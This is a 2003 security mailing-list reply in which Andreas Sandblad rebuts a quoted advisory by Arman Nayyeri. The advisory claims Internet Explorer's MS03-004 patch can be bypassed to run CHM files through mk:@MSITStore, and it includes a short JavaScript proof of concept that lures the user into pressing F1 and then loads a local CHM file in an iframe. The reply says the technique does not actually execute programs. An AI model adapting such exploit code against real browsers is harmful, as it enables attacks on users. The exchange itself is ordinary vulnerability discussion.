Re: IE: CHM Attacks are still alive (CHM attack without showHelp())

[Andreas Sandblad <sandblad () acc umu se>]

In order to use the shortcut command your code must be launched
in HTML Help. Simply linking to contents inside a chm file with the
mk: protocol will not do the trick since you are still operating inside
IE. That is the reason why you didn't get the chm file to execute
programs using the shortcut command.

I believe MS successfully secured showHelp(...) to stop various attacks
using the shortcut command (including Sandblad #10).

/Andreas Sandblad

On Tue, 2 Sep 2003, Arman Nayyeri wrote:

>                               !! R/\/\an#0001 !!
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> CHM Attacks are still alive
> ===========================
> Title:    CHM Attacks are still alive
> Date:     Tuesday, September 02, 2003
> Software: IE (What a nice program!!!)
> Vendor:   Microsoft Corp. (I love Microsoft)
> Patch:    N/A
> Author:   Arman Nayyeri, arman-n () Phreaker net
>
>
> Vendor Status:
> ==============
> Microsoft was not contacted, because I don't know email address of
> Microsoft.
>
>
> Description:
> ============
>
> After releasing MS03-004 patch, it is still possible to execute a chm file
> without using of showHelp() command.
> We can use mk:@MSITStore to execute CHM files, but with some tricks.
>
> 1.first we must have an help window opened in order to chm file to work
> correctly.
>
> 2.We must open a window (or an iframe) that points to
> mk:@MSITStore:pathof.chm::/compiledhtmlfilewithinchm.html
>
> The first one is hard but easy with the help of the user.
> We can say to user to press F1 key then by using a onkeydown event go to
> step 2.
> As easy as this!!!!!
> The microsoft patch just stop showHelp() functionality but it is still
> possible.
> If you use a url for chm file ,it will open and show the content of file
> but do not execute programs without generating any errors. (I test it on
> one chm file ,you can try more, maybe its worked!)
> But in the case of sandblad #11 ,I can't produce it without showHelp(),
> and I need the help of Andreas.
> Andreas!, I believe that it will work, so try it!!.
>
> Exploit
> =======
> As you can see, here is the simple javascript code that I write to exploit
> this.
> you must:
> 1.make a chm file and save it as c:\msit.chm (download free tool for
> making a chm file from http://go.microsoft.com/fwlink/?LinkId=14188 )
> 2.remove all ! from script
> 3.create a html file and copy the code into that
> 4.open the html page and press F1 key (at the top left corner of your
> keyboard)
> (you may need to increase Timeout to allow the IE help to be opened)
>
> -------------------------------BEGINING OF FILE---------------------------
> <!h2>You should press "F1" key (at the top left corner of your keyboard)
> </h2>
> <!script>
> function gotKey(){
> if (event.keyCode==112){
>     setTimeout(
>         function () {
>          document.write('<iframe id=I1
> src="mk:@MSITStore:c:\\msit.chm::/page.html"></'+'iframe><br><h3>I Love
> IRAN<br>R/\/\an#0001</h3>');
>         },
>         1194
>     );
> }
> }
> document.onkeydown = gotKey;
> <!/script>
> ---------------------------------END OF FILE------------------------------
>
>
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>
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>
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> Arman Nayyeri
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>
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